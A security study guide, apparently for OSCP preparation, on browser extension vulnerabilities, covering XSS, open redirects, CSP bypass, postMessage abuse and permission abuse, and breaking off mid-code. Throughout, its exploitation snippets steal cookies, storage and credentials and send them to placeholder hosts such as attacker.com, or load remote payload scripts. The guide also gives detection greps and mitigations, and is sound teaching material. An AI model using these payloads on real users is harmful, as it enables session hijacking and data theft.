Topic 5: Browser Extension Vulnerabilities
Table of Contents
- Introduction and Threat Model
- Why Browser Extensions Are High-Risk Targets
- Browser Extension Architecture
- Common Extension Vulnerability Types
- Attacking Extensions via XSS
- Extension Manifest Weaknesses
- Advanced Attack Techniques
- Detection and Enumeration
- Mitigation Strategies
- OSCP-Specific Tips and Lab Scenarios
- Checklist and Quick Reference
1. Introduction and Threat Model
Browser extensions (also known as add-ons or plugins) are software components that customize the browsing experience. They are developed using standard web technologies (HTML, CSS, JavaScript) but run with significantly elevated privileges compared to normal web pages.
The Extension Threat Model
┌─────────────────────────────────────────────────────────────┐
│ Browser Sandbox │
│ ┌──────────────────┐ ┌──────────────────────────────┐ │
│ │ Normal Web Page │ │ Browser Extension │ │
│ │ │ │ │ │
│ │ • Same-Origin │ │ • Cross-Origin Access │ │
│ │ Policy (SOP) │ │ • DOM Access to All Pages │ │
│ │ • CSP Enforced │ │ • CSP Exemptions │ │
│ │ • Limited API │ │ • Native API Access │ │
│ │ Access │ │ • Cookie/Storage Access │ │
│ │ • No Network │ │ • Unrestricted Network │ │
│ │ Wildcards │ │ Requests │ │
│ └───────────────────┘ └──────────────────────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ Restricted Privileges Elevated Privileges │
└─────────────────────────────────────────────────────────────┘
Key Threat Actors
| Actor | Motivation | Attack Vector |
|---|---|---|
| Malicious Extension Authors | Data theft, ad injection, crypto mining | Publish malicious extensions to stores |
| Compromised Extension Authors | Supply chain attacks | Legitimate extensions get compromised |
| External Attackers | Exploit vulnerable extensions | XSS on target pages, open redirects |
| Internal Threats | Data exfiltration | Abuse of enterprise extensions |
Why This Matters for OSCP
In OSCP labs and exams, browser extension vulnerabilities can provide:
- CSP bypass leading to XSS exploitation
- Privilege escalation within the browser context
- Cookie theft from secure domains
- Internal network access via extension network capabilities
- Persistence mechanisms within the browser
2. Why Browser Extensions Are High-Risk Targets
2.1 Elevated Privileges
Browser extensions operate with privileges far beyond normal web pages:
// Normal web page - RESTRICTED
// Cannot access other domains' cookies
document.cookie; // Only current domain
// Extension with 'cookies' permission - UNRESTRICTED
chrome.cookies.get({url: 'https://any-website.com', name: 'session_id'}, (cookie) => {
console.log(cookie.value); // Can read ANY cookie!
});
Privilege Comparison Table:
| Capability | Normal Web Page | Extension (with permissions) |
|---|---|---|
| Cross-origin requests | Blocked (CORS) | Allowed |
| Access other tabs | No | Yes (tabs permission) |
| Read/modify cookies | Same-origin only | Any domain (cookies permission) |
| Modify page DOM | Own page only | Any page (content scripts) |
| Network requests | CORS restricted | Unrestricted |
| File system access | No | Yes (fileSystem API) |
| Native messaging | No | Yes |
| Proxy configuration | No | Yes |
2.2 SOP (Same-Origin Policy) Bypass Capabilities
Extensions can bypass the Same-Origin Policy through:
// Content script running on https://victim.com
// Can communicate with extension's background script freely
// Content script → Background script
chrome.runtime.sendMessage({action: "getData", url: window.location.href}, (response) => {
console.log(response.data); // Data from any origin!
});
// Background script can fetch from any origin
chrome.webRequest.onBeforeRequest.addListener(
(details) => {
// Can intercept and modify requests to ANY domain
return {redirectUrl: "https://attacker.com/steal?data=" + details.url};
},
{urls: ["<all_urls>"]},
["blocking"]
);
2.3 CSP Exemptions
Content Security Policy does NOT apply to extension pages in the same way:
┌──────────────────────────────────────────────────────────┐
│ CSP Enforcement Matrix │
├──────────────────────┬───────────────────────────────────┤
│ Context │ CSP Applied? │
├──────────────────────┼───────────────────────────────────┤
│ Normal web pages │ YES - Fully enforced │
│ Extension popup │ Extension's own CSP only │
│ Extension options │ Extension's own CSP only │
│ Extension background │ Extension's own CSP only │
│ Content scripts │ NO - Run in isolated world │
│ Injected scripts │ NO - Inherit page's context │
└──────────────────────┴───────────────────────────────────┘
Critical Insight: If an extension injects scripts into pages (via executeScript or content scripts), those scripts run in the page’s JavaScript context and can bypass the page’s CSP.
2.4 Access to All Pages
With the all_urls permission or broad match patterns:
{
"permissions": [
"tabs",
"webRequest",
"webRequestBlocking",
"http://*/*",
"https://*/*",
"<all_urls>"
],
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_start",
"all_frames": true
}
]
}
This grants the extension:
- Visibility into all visited URLs
- Ability to inject code into any page
- Access to all page content and user interactions
- Ability to intercept and modify all HTTP/HTTPS traffic
3. Browser Extension Architecture
3.1 Extension Components
┌─────────────────────────────────────────────────────────────┐
│ Browser Extension │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌─────────────────┐ │
│ │ Popup / │ │ Options │ │ Background │ │
│ │ DevTools │ │ Page │ │ Page / Service │ │
│ │ │ │ │ │ Worker │ │
│ └──────┬───────┘ └──────┬───────┘ └────────┬────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Extension APIs (chrome.*) │ │
│ └────────────────────────┬────────────────────────────┘ │
│ │ │
│ ┌─────────────────┼─────────────────┐ │
│ ▼ ▼ ▼ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Content │ │ Web │ │ Web │ │
│ │ Scripts │ │ Request │ │ Navigation │ │
│ │ │ │ API │ │ API │ │
│ └──────┬───────┘ └──────────────┘ └──────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Target Web Pages │ │
│ │ (https://victim.com/*) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
3.2 Communication Channels
┌─────────────────────────────────────────────────────────────┐
│ Extension Communication Matrix │
├──────────────┬──────────┬──────────┬───────────────────────┤
│ From → To │ Method │ API │ Security Consideration│
├──────────────┼──────────┼──────────┼───────────────────────┤
│ Content → │ sendMessage│ chrome.runtime.sendMessage │ No origin │
│ Background │ │ │ validation by default │
├──────────────┼──────────┼──────────┼───────────────────────┤
│ Background → │ sendMessage│ chrome.tabs.sendMessage │ Any tab │
│ Content │ │ │ can respond │
├──────────────┼──────────┼──────────┼───────────────────────┤
│ Popup → │ sendMessage│ chrome.runtime.sendMessage │ Internal │
│ Background │ │ │ but no auth │
├──────────────┼──────────┼──────────┼───────────────────────┤
│ External → │ postMessage│ window.postMessage │ Origin │
│ Extension │ │ │ must be validated │
├──────────────┼──────────┼──────────┼───────────────────────┤
│ Extension → │ postMessage│ window.postMessage │ Any │
│ Web Page │ │ │ page can listen │
└──────────────┴──────────┴──────────┴───────────────────────┘
3.3 Manifest V2 vs V3 Key Differences
| Feature | Manifest V2 | Manifest V3 | Security Impact |
|---|---|---|---|
| Background | background.page (full DOM) |
background.service_worker (no DOM) |
V3 more restricted |
| Network | xhr, fetch in background |
chrome.runtime.sendMessage + fetch |
V3 changes attack surface |
| Web Request | webRequestBlocking |
declarativeNetRequest |
V3 less blocking capability |
| Eval | Allowed in background | Restricted | V3 harder to exploit via XSS |
| Content Scripts | Same | Same | Same attack surface |
4. Common Extension Vulnerability Types
4.1 XSS in Extension Pages
Vulnerability Overview
Extension pages (popup, options, background, devtools) are just HTML/JS pages. If they contain XSS vulnerabilities, an attacker can execute code with the extension’s elevated privileges.
Attack Surface
Extension Pages Attack Surface:
├── popup.html (extension icon click)
├── options.html (extension settings)
├── background.html (V2) / service worker (V3)
├── devtools.html (developer tools panel)
├── sidebar.html (browser sidebar)
└── history.html (extension history page)
Example 1: Reflected XSS in Options Page
Vulnerable Code (options.js):
// VULNERABLE - No input sanitization
function loadSettings() {
const urlParams = new URLSearchParams(window.location.search);
const tab = urlParams.get('tab');
// Directly inserting user-controlled input into DOM
document.getElementById('activeTab').innerHTML = tab;
// Also vulnerable:
document.title = "Settings - " + tab;
window.location.hash = tab;
}
Exploitation:
# Craft malicious URL
chrome-extension://EXTENSION_ID/options.html?tab=<script>alert(document.cookie)</script>
# More dangerous - steal extension data
chrome-extension://EXTENSION_ID/options.html?tab=<script>
chrome.storage.local.get(null, (data) => {
new Image().src = 'https://attacker.com/steal?' + encodeURIComponent(JSON.stringify(data));
});
</script>
Delivery Methods:
- Phishing email with crafted
chrome-extension://URL - XSS on another page redirects to extension URL
- Open redirect in extension leads to XSS
Example 2: Stored XSS in Extension Storage
Vulnerable Code:
// VULNERABLE - Storing and rendering user input without sanitization
chrome.storage.sync.set({username: userInput}, () => {
// Later rendered unsafely:
document.getElementById('welcome').innerHTML =
"Welcome, " + chrome.storage.sync.get('username');
});
Exploitation:
// Attacker sets malicious value
chrome.storage.sync.set({
username: '<img src=x onerror=chrome.runtime.sendMessage({cmd:"exfil",data:document.cookie})>'
});
Example 3: DOM-based XSS in Popup
Vulnerable Code (popup.js):
// VULNERABLE - Using innerHTML with external data
fetch('https://api.example.com/user')
.then(res => res.json())
.then(data => {
document.getElementById('userInfo').innerHTML = data.bio;
});
Exploitation:
# Attacker controls the API response (via SSRF, compromised API, etc.)
HTTP/1.1 200 OK
Content-Type: application/json
{
"bio": "<script>chrome.runtime.sendMessage({action:'getCookies'}, (resp) => {
new Image().src='https://attacker.com/?c='+encodeURIComponent(resp.cookies);
});</script>"
}
Detection Methodology
# 1. Audit all extension HTML files for dangerous sinks
grep -rn "innerHTML\|document.write\|outerHTML\|insertAdjacentHTML" extension_dir/
# 2. Check for unsafe DOM manipulations
grep -rn "eval(\|setTimeout(\|setInterval(\|Function(" extension_dir/
# 3. Look for URL parameter usage
grep -rn "URLSearchParams\|location.search\|location.hash\|location.href" extension_dir/
# 4. Check storage usage patterns
grep -rn "chrome.storage" extension_dir/
Mitigation
// SAFE - Use textContent instead of innerHTML
document.getElementById('activeTab').textContent = tab;
// SAFE - Use DOMPurify for HTML content
import DOMPurify from 'dompurify';
document.getElementById('userInfo').innerHTML = DOMPurify.sanitize(data.bio);
// SAFE - Validate and whitelist
const ALLOWED_TABS = ['general', 'privacy', 'advanced'];
const tab = ALLOWED_TABS.includes(urlParams.get('tab'))
? urlParams.get('tab')
: 'general';
4.2 Open Redirect in Extensions
Vulnerability Overview
Extensions often implement redirect functionality. If not properly validated, attackers can redirect users to malicious sites or to other extension pages for further exploitation.
Example 1: URL Parameter Redirect
Vulnerable Code (popup.js):
// VULNERABLE - No URL validation
document.getElementById('goButton').addEventListener('click', () => {
const url = document.getElementById('urlInput').value;
window.open(url, '_blank');
});
// Also vulnerable in background:
chrome.tabs.create({url: userProvidedUrl});
Exploitation:
// Redirect to phishing site
window.open('https://evil.com/phishing');
// Redirect to extension page with XSS payload
window.open('chrome-extension://EXTENSION_ID/options.html?tab=<script>alert(1)</script>');
// Protocol handler abuse
window.open('javascript:alert(document.cookie)');
window.open('data:text/html,<script>alert(1)</script>');
Example 2: Background Script Redirect
Vulnerable Code:
// VULNERABLE - Background script redirects based on message
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request.action === 'navigate') {
chrome.tabs.update(sender.tab.id, {url: request.url});
}
});
Exploitation from Content Script:
// Content script on any page can trigger this
chrome.runtime.sendMessage({
action: 'navigate',
url: 'https://evil.com/steal?cookie=' + document.cookie
});
Detection Methodology
# Search for redirect patterns
grep -rn "window.open\|window.location\|chrome.tabs.create\|chrome.tabs.update" extension_dir/
# Check for URL validation
grep -rn "url.startsWith\|URL\.parse\|new URL(" extension_dir/
Mitigation
// SAFE - Validate URL before redirect
function safeNavigate(url) {
try {
const parsed = new URL(url);
// Only allow http/https
if (!['http:', 'https:'].includes(parsed.protocol)) {
throw new Error('Invalid protocol');
}
// Block chrome-extension:// URLs
if (parsed.protocol === 'chrome-extension:') {
throw new Error('Extension URLs not allowed');
}
// Optional: Whitelist domains
const allowedDomains = ['example.com', 'trusted.com'];
if (!allowedDomains.includes(parsed.hostname)) {
throw new Error('Domain not allowed');
}
chrome.tabs.create({url: url});
} catch (e) {
console.error('Navigation blocked:', e.message);
}
}
4.3 CSP Bypass via Extensions
Vulnerability Overview
Extensions can bypass Content Security Policy through multiple mechanisms, making them powerful vectors for XSS exploitation.
Method 1: Content Script Injection
How It Works:
┌─────────────────────────────────────────────────────────┐
│ CSP Bypass via Content Scripts │
│ │
│ Target Page: │
│ CSP: script-src 'self' 'unsafe-inline' │
│ │
│ Extension Content Script: │
│ • Runs in isolated world (can't access page JS) │
│ • BUT can inject scripts into page context │
│ • Injected scripts bypass page's CSP! │
│ │
│ chrome.tabs.executeScript({ │
│ code: 'alert(document.cookie)' │
│ }); │
│ ↑ This executes despite CSP! │
└─────────────────────────────────────────────────────────┘
Exploitation Code:
// If attacker gains control of extension or finds vulnerable extension
chrome.tabs.executeScript(null, {
code: `
(function() {
// This runs in the PAGE context, bypassing CSP!
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = 'https://attacker.com/malicious.js';
document.body.appendChild(iframe);
})()
`
});
Method 2: Extension-Injected Scripts
Vulnerable Extension Code:
// VULNERABLE - Extension injects user-controlled code
chrome.runtime.onMessage.addListener((req, sender, sendResponse) => {
if (req.action === 'inject') {
chrome.tabs.executeScript(sender.tab.id, {
code: req.scriptCode // User-controlled!
});
}
});
Exploitation:
// From any page with the extension's content script
chrome.runtime.sendMessage({
action: 'inject',
scriptCode: 'new Image().src="https://attacker.com/?cookie="+document.cookie'
});
Method 3: postMessage Bridge
Vulnerable Pattern:
// Extension content script
window.addEventListener('message', (event) => {
// VULNERABLE - No origin check
if (event.data.action === 'execute') {
chrome.runtime.sendMessage({
action: 'runScript',
code: event.data.code
});
}
});
Exploitation from XSS on Target Page:
// Attacker has XSS on https://victim.com
window.postMessage({
action: 'execute',
code: 'fetch("https://attacker.com/steal?cookie="+document.cookie)'
}, '*');
Method 4: Web Accessible Resources
Vulnerable Manifest:
{
"web_accessible_resources": [
"*.js",
"*.html",
"scripts/*"
]
}
Exploitation:
<!-- Attacker's page loads extension's JavaScript -->
<script src="chrome-extension://EXTENSION_ID/scripts/helper.js"></script>
<!-- If helper.js has functionality, attacker can abuse it -->
<script>
// Extension's functions now available in attacker's context
extensionHelper.doSomething();
</script>
Detection Methodology
# Check for script injection capabilities
grep -rn "executeScript\|insertCSS" extension_dir/
# Check web_accessible_resources
grep -A 10 "web_accessible_resources" manifest.json
# Check postMessage handlers
grep -rn "addEventListener.*message\|onmessage" extension_dir/
# Check for origin validation
grep -rn "event.origin\|event.source" extension_dir/
Mitigation
// SAFE - Validate origin in postMessage handler
window.addEventListener('message', (event) => {
// Strict origin check
if (event.origin !== 'chrome-extension://' + chrome.runtime.id) {
return; // Reject messages from other origins
}
// Additional validation
if (event.data && event.data.action === 'trustedAction') {
// Process trusted action
}
});
// SAFE - Restrict web_accessible_resources
{
"web_accessible_resources": [
{
"resources": ["public/icon.png"],
"matches": ["<all_urls>"]
}
]
}
4.4 Insecure Storage
Vulnerability Overview
Extensions often store sensitive data (tokens, credentials, API keys) without proper encryption. The chrome.storage API stores data in plaintext.
Storage Types and Risks
| Storage Type | Location | Persistence | Risk Level |
|---|---|---|---|
chrome.storage.sync |
Cloud-synced | Cross-device | HIGH - Cloud exposure |
chrome.storage.local |
Local filesystem | Session+ | MEDIUM - Local access |
chrome.storage.session |
Memory only | Session only | LOW - Volatile |
localStorage |
Web storage | Persistent | MEDIUM - Accessible via XSS |
cookies |
Cookie jar | Configurable | HIGH - Sent with requests |
Example 1: Plaintext Token Storage
Vulnerable Code:
// VULNERABLE - Storing sensitive data in plaintext
async function login(username, password) {
const response = await fetch('/api/login', {
method: 'POST',
body: JSON.stringify({username, password})
});
const data = await response.json();
// Store token in plaintext!
chrome.storage.local.set({
auth_token: data.token,
user_email: data.email,
api_key: data.apiKey
});
}
Exploitation:
// If attacker gains any access to extension context
chrome.storage.local.get(null, (data) => {
// Steal all stored data
const stolen = {
token: data.auth_token,
email: data.user_email,
apiKey: data.api_key
};
// Exfiltrate
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(stolen)
});
});
Example 2: Sync Storage Exposure
Vulnerable Code:
// VULNERABLE - Syncing sensitive data to cloud
chrome.storage.sync.set({
passwords: userPasswords, // Plaintext passwords!
creditCards: cardNumbers, // Payment data!
notes: sensitiveNotes // Personal data!
});
Risk: Data synced to Google’s servers, accessible if Google account is compromised.
Example 3: IndexedDB Abuse
Vulnerable Code:
// VULNERABLE - Extension uses IndexedDB without encryption
const db = await openDatabase('ExtensionDB');
const tx = db.transaction('credentials', 'readwrite');
const store = tx.objectStore('credentials');
store.put({
site: 'banking.com',
username: 'user123',
password: 'supersecret123' // Plaintext!
});
Detection Methodology
# Search for storage usage
grep -rn "chrome.storage\|localStorage\|sessionStorage\|IndexedDB" extension_dir/
# Look for sensitive data patterns
grep -rn "password\|token\|secret\|key\|credential\|api_key" extension_dir/
# Check for encryption usage
grep -rn "crypto\|encrypt\|decrypt\|WebCrypto" extension_dir/
Mitigation
// SAFE - Use Web Crypto API for encryption
async function secureStorage(data, key) {
// Generate or retrieve encryption key
const cryptoKey = await getCryptoKey(key);
// Encrypt data
const encoded = new TextEncoder().encode(JSON.stringify(data));
const iv = crypto.getRandomValues(new Uint8Array(12));
const encrypted = await crypto.subtle.encrypt(
{name: 'AES-GCM', iv: iv},
cryptoKey,
encoded
);
// Store encrypted data + IV
chrome.storage.local.set({
encryptedData: Array.from(new Uint8Array(encrypted)),
iv: Array.from(iv)
});
}
async function secureRetrieve(key) {
const stored = await chrome.storage.local.get(null);
const cryptoKey = await getCryptoKey(key);
const encrypted = new Uint8Array(stored.encryptedData);
const iv = new Uint8Array(stored.iv);
const decrypted = await crypto.subtle.decrypt(
{name: 'AES-GCM', iv: iv},
cryptoKey,
encrypted
);
return JSON.parse(new TextDecoder().decode(decrypted));
}
4.5 postMessage Abuse in Extension Communication
Vulnerability Overview
Extensions use window.postMessage() to communicate between different contexts. If origin validation is missing, any page can send messages to the extension.
Communication Flow and Attack Points
┌─────────────────────────────────────────────────────────────┐
│ postMessage Communication Flow │
│ │
│ ┌─────────────┐ postMessage ┌────────────────┐ │
│ │ Web Page │ ──────────────────→ │ Content Script│ │
│ │ (Attacker) │ │ │ │
│ └─────────────┘ └───────┬────────┘ │
│ │ │
│ │ │
│ sendMessage │
│ │ │
│ ▼ │
│ ┌────────────────┐ │
│ │ Background │ │
│ │ Script │ │
│ │ (Privileged) │ │
│ └────────────────┘ │
│ │
│ Attack Points: │
│ 1. Web Page → Content Script (no origin check) │
│ 2. Content Script → Background (no message validation) │
│ 3. Response channel (information leakage) │
└─────────────────────────────────────────────────────────────┘
Example 1: Missing Origin Validation
Vulnerable Content Script:
// VULNERABLE - No origin check on received messages
window.addEventListener('message', (event) => {
if (event.data.type === 'EXTENSION_COMMAND') {
// Execute command from ANY origin!
switch(event.data.command) {
case 'getCookies':
chrome.runtime.sendMessage({action: 'getCookies'}, (response) => {
event.source.postMessage({
type: 'EXTENSION_RESPONSE',
data: response.cookies
}, event.origin); // Send cookies to attacker!
});
break;
case 'readStorage':
chrome.storage.local.get(null, (data) => {
event.source.postMessage({
type: 'EXTENSION_RESPONSE',
data: data
}, event.origin);
});
break;
}
}
});
Exploitation:
// Attacker's page (https://evil.com)
window.postMessage({
type: 'EXTENSION_COMMAND',
command: 'getCookies'
}, '*');
// Listen for response
window.addEventListener('message', (event) => {
if (event.data.type === 'EXTENSION_RESPONSE') {
// Steal the data!
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(event.data.data)
});
}
});
Example 2: Wildcard Target Origin
Vulnerable Code:
// VULNERABLE - Using wildcard origin
window.postMessage({
type: 'SENSITIVE_DATA',
payload: sensitiveInfo
}, '*'); // Any page can receive this!
Exploitation:
// Attacker's page listens for all messages
window.addEventListener('message', (event) => {
if (event.data.type === 'SENSITIVE_DATA') {
console.log('Stolen data:', event.data.payload);
// Exfiltrate...
}
});
Example 3: Cross-Extension Communication
Vulnerable Pattern:
// Extension A sends message
chrome.runtime.sendMessage('ANOTHER_EXTENSION_ID', {
action: 'getData',
key: 'secret'
});
// Extension B responds without validation
chrome.runtime.onMessageExternal.addListener((request, sender, sendResponse) => {
// No validation of sender!
if (request.action === 'getData') {
sendResponse({data: sensitiveData[request.key]});
}
return true; // Async response
});
Detection Methodology
# Find all postMessage listeners
grep -rn "addEventListener.*message\|onmessage\s*=" extension_dir/
# Check for origin validation
grep -rn "event.origin" extension_dir/
# Find all postMessage senders
grep -rn "postMessage" extension_dir/
# Check for wildcard origins
grep -rn "postMessage.*'\*'" extension_dir/
grep -rn 'postMessage.*"\*"' extension_dir/
Mitigation
// SAFE - Strict origin validation
window.addEventListener('message', (event) => {
// Only accept messages from same extension
const expectedOrigin = 'chrome-extension://' + chrome.runtime.id;
if (event.origin !== expectedOrigin) {
console.warn('Rejected message from unauthorized origin:', event.origin);
return;
}
// Validate message structure
if (!event.data || !event.data.type) {
return;
}
// Process validated message
handleMessage(event.data);
});
// SAFE - Specific target origin
window.postMessage({
type: 'RESPONSE',
data: responseData
}, 'chrome-extension://' + chrome.runtime.id); // Specific origin
4.6 Permission Abuse
Vulnerability Overview
Extensions request permissions during installation. Excessive or misused permissions can be exploited for various attacks.
Dangerous Permissions Matrix
| Permission | What It Allows | Attack Potential |
|---|---|---|
all_urls |
Access to all websites | Full page content access |
cookies |
Read/modify any cookie | Session hijacking |
storage |
Access storage API | Data theft |
tabs |
Access tab information | URL monitoring, injection |
webRequest |
Intercept HTTP requests | Traffic manipulation |
webRequestBlocking |
Block/modify requests | MITM within browser |
proxy |
Configure proxy | Traffic redirection |
nativeMessaging |
Communicate with native apps | Arbitrary native execution |
unlimitedStorage |
Unlimited local storage | Large data exfiltration |
clipboardRead |
Read clipboard | Credential theft |
privacy |
Access privacy settings | Tracking configuration |
bookmarks |
Access bookmarks | Data harvesting |
history |
Access browsing history | User profiling |
Example 1: Cookie Theft
Vulnerable Extension with cookies Permission:
// Extension has "cookies" permission
chrome.cookies.getAll({domain: '.banking.com'}, (cookies) => {
const sessionCookies = cookies.filter(c => c.name.includes('session'));
// Exfiltrate session cookies
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(sessionCookies)
});
});
Example 2: Web Request Interception
Vulnerable Extension with webRequestBlocking:
// Extension can intercept and modify ALL requests
chrome.webRequest.onBeforeRequest.addListener(
(details) => {
// Capture credentials from login forms
if (details.url.includes('/api/login')) {
fetch('https://attacker.com/log', {
method: 'POST',
body: details.requestBody.raw[0].bytes
});
}
// Optionally redirect to phishing site
if (details.url.includes('banking.com')) {
return {
redirectUrl: 'https://evil-banking.com' +
new URL(details.url).pathname
};
}
},
{urls: ["<all_urls>"]},
["blocking", "requestBody"]
);
Example 3: Tab Monitoring
Vulnerable Extension with tabs Permission:
// Monitor all tab activity
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (changeInfo.status === 'complete' && tab.url) {
// Log all visited URLs
fetch('https://attacker.com/track', {
method: 'POST',
body: JSON.stringify({
url: tab.url,
title: tab.title,
time: new Date().toISOString()
})
});
}
});
// Inject scripts into specific pages
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (tab.url && tab.url.includes('gmail.com')) {
chrome.tabs.executeScript(tabId, {
file: 'content.js' // Inject malicious content script
});
}
});
Detection Methodology
# Check manifest permissions
cat manifest.json | grep -A 20 "permissions"
# Search for permission usage
grep -rn "chrome.cookies\|chrome.tabs\|chrome.webRequest\|chrome.proxy" extension_dir/
# Check for excessive permissions
# Compare requested vs actually used permissions
Mitigation
{
"permissions": [
"storage" // Only request what you need
],
"host_permissions": [
"https://api.example.com/*" // Specific hosts, not <all_urls>
]
}
// Principle of least privilege
// Only access data when necessary, not proactively
async function getSpecificCookie(domain, name) {
return new Promise((resolve) => {
chrome.cookies.get({url: `https://${domain}`, name: name}, (cookie) => {
resolve(cookie);
});
});
}
5. Attacking Extensions via XSS
5.1 Attack Chain: XSS to Extension Compromise
┌─────────────────────────────────────────────────────────────┐
│ Complete Attack Chain │
│ │
│ Step 1: Find XSS on target page │
│ ↓ │
│ Step 2: Identify installed extensions │
│ ↓ │
│ Step 3: Find extension communication channels │
│ ↓ │
│ Step 4: Exploit extension via postMessage or content script│
│ ↓ │
│ Step 5: Abuse extension privileges │
│ ↓ │
│ Step 6: Exfiltrate data or maintain persistence │
└─────────────────────────────────────────────────────────────┘
5.2 Enumerating Extensions via XSS
// From XSS on target page, enumerate extensions
// Method 1: Check for known extension globals
const knownExtensions = {
'lastPass': typeof lp_core !== 'undefined',
'nordvpn': typeof NordVpn !== 'undefined',
'adblock': typeof Adblock !== 'undefined',
'darkreader': typeof DarkReader !== 'undefined',
};
console.log('Detected extensions:', knownExtensions);
// Method 2: Check for injected elements
const extensionElements = document.querySelectorAll('[data-extension-id]');
console.log('Extension elements:', extensionElements);
// Method 3: Check for extension stylesheets
const stylesheets = document.styleSheets;
for (let sheet of stylesheets) {
if (sheet.ownerNode && sheet.ownerNode.src) {
if (sheet.ownerNode.src.includes('chrome-extension://')) {
console.log('Extension CSS:', sheet.ownerNode.src);
}
}
}
5.3 chrome.runtime.sendMessage Abuse
Direct Message to Extension
// From XSS, send message to specific extension
chrome.runtime.sendMessage('EXTENSION_ID_HERE', {
action: 'maliciousAction',
payload: 'exploitData'
}, (response) => {
if (response && response.data) {
// Data received from extension!
exfiltrate(response.data);
}
});
Brute Force Extension IDs
// Try common extension IDs
const commonExtensionIds = [
'nmmhkkegccagdldgiimedpiccmgmieda', // Google Wallet
'fhbjgbiflinjbdggehcddcbncdddomop', // Google Translate
'aapbdbdomjkkjkaonfhkkikfgjllcleb', // Google Search
// Add more...
];
commonExtensionIds.forEach(extId => {
try {
chrome.runtime.sendMessage(extId, {test: 'probe'}, (response) => {
if (response) {
console.log('Responsive extension:', extId);
}
});
} catch(e) {
// Extension not installed or doesn't respond
}
});
5.4 Content Script Injection Exploitation
Via Vulnerable Extension
// If extension has vulnerable content script communication
window.postMessage({
type: 'EXTENSION_API',
method: 'executeScript',
code: 'document.body.innerHTML'
}, '*');
// Listen for response
window.addEventListener('message', (e) => {
if (e.data && e.data.type === 'EXTENSION_RESPONSE') {
console.log('Page content via extension:', e.data.content);
}
});
Via executeScript API
// If attacker controls extension background script
chrome.tabs.query({active: true, currentWindow: true}, (tabs) => {
chrome.tabs.executeScript(tabs[0].id, {
code: `
// This runs in the PAGE context
(function() {
// Bypass CSP
const script = document.createElement('script');
script.src = 'https://attacker.com/payload.js';
document.head.appendChild(script);
})();
`
});
});
5.5 Real-World Attack Scenario
/*
* Scenario: Attacker has XSS on https://corp-internal.com/dashboard
* Goal: Steal SSO cookies from https://auth.corp-internal.com
*
* Prerequisites:
* - User has a vulnerable extension installed
* - Extension listens to postMessage without origin validation
* - Extension has 'cookies' and 'all_urls' permissions
*/
// Step 1: Send command to extension via postMessage
window.postMessage({
cmd: 'get_cookies',
domain: 'auth.corp-internal.com'
}, '*');
// Step 2: Receive cookies from extension
window.addEventListener('message', (event) => {
if (event.data.cmd === 'cookies_response') {
// Step 3: Exfiltrate cookies
const img = new Image();
img.src = 'https://attacker.com/collect?cookies=' +
encodeURIComponent(JSON.stringify(event.data.cookies));
}
});
6. Extension Manifest Weaknesses
6.1 Manifest Structure Overview
{
"manifest_version": 3,
"name": "Vulnerable Extension",
"version": "1.0",
// SECURITY CRITICAL SECTIONS ↓
"permissions": [],
"host_permissions": [],
"content_security_policy": {},
"web_accessible_resources": [],
"background": {},
"content_scripts": [],
// Other fields...
"action": {},
"options_page": "options.html"
}
6.2 unsafe-eval in CSP
Vulnerable CSP Configuration
{
"content_security_policy": {
"extension_pages": "script-src 'self' 'unsafe-eval'; object-src 'self';"
}
}
Exploitation
// With 'unsafe-eval', attacker can use eval()
// If combined with XSS in extension page:
// Direct eval
eval(userControlledInput);
// Indirect eval
const f = new Function(userControlledInput);
f();
// setTimeout/setInterval with string
setTimeout(userControlledInput, 0);
// Real exploitation example
const maliciousInput = `
chrome.storage.local.get(null, (data) => {
new Image().src = 'https://attacker.com/?data=' +
encodeURIComponent(JSON.stringify(data));
});
`;
eval(maliciousInput);
Detection
# Check manifest CSP
grep "unsafe-eval" manifest.json
# Check for eval usage in code
grep -rn "eval(\|new Function(\|setTimeout.*'\|setInterval.*'" extension_dir/
Mitigation
{
"content_security_policy": {
"extension_pages": "script-src 'self'; object-src 'self';"
}
}
6.3 Excessive Permissions
Vulnerable Manifest
{
"permissions": [
"tabs",
"cookies",
"storage",
"webRequest",
"webRequestBlocking",
"history",
"bookmarks",
"clipboardRead",
"clipboardWrite",
"privacy",
"proxy",
"nativeMessaging",
"unlimitedStorage",
"alarms",
"notifications"
],
"host_permissions": [
"<all_urls>"
]
}
Risk Assessment
| Permission | Risk Level | Justification Needed? |
|---|---|---|
nativeMessaging |
CRITICAL | Yes - native code execution |
webRequestBlocking |
HIGH | Yes - traffic manipulation |
proxy |
HIGH | Yes - traffic redirection |
cookies |
HIGH | Yes - session access |
clipboardRead |
MEDIUM | Yes - data theft |
history |
MEDIUM | Yes - user profiling |
storage |
LOW | Usually acceptable |
tabs |
LOW | Common need |
6.4 Web-Accessible Resources Without Validation
Vulnerable Configuration
{
"web_accessible_resources": [
"*.js",
"*.html",
"*.json",
"assets/*",
"scripts/*",
"lib/*"
]
}
Exploitation
<!-- Attacker's page -->
<html>
<head>
<!-- Load extension's JavaScript files -->
<script src="chrome-extension://EXTENSION_ID/lib/utils.js"></script>
<script src="chrome-extension://EXTENSION_ID/scripts/helper.js"></script>
</head>
<body>
<script>
// Now have access to extension's functions
if (typeof extensionUtils !== 'undefined') {
// Abuse extension functionality
const data = extensionUtils.getStoredData();
exfiltrate(data);
}
</script>
</body>
</html>
Mitigation (MV3)
{
"web_accessible_resources": [
{
"resources": ["public/icon.png", "public/widget.html"],
"matches": ["https://example.com/*"],
"extension_ids": []
}
]
}
6.5 Missing Origin Checks
Vulnerable Background Script
// VULNERABLE - No origin validation on external messages
chrome.runtime.onMessageExternal.addListener(
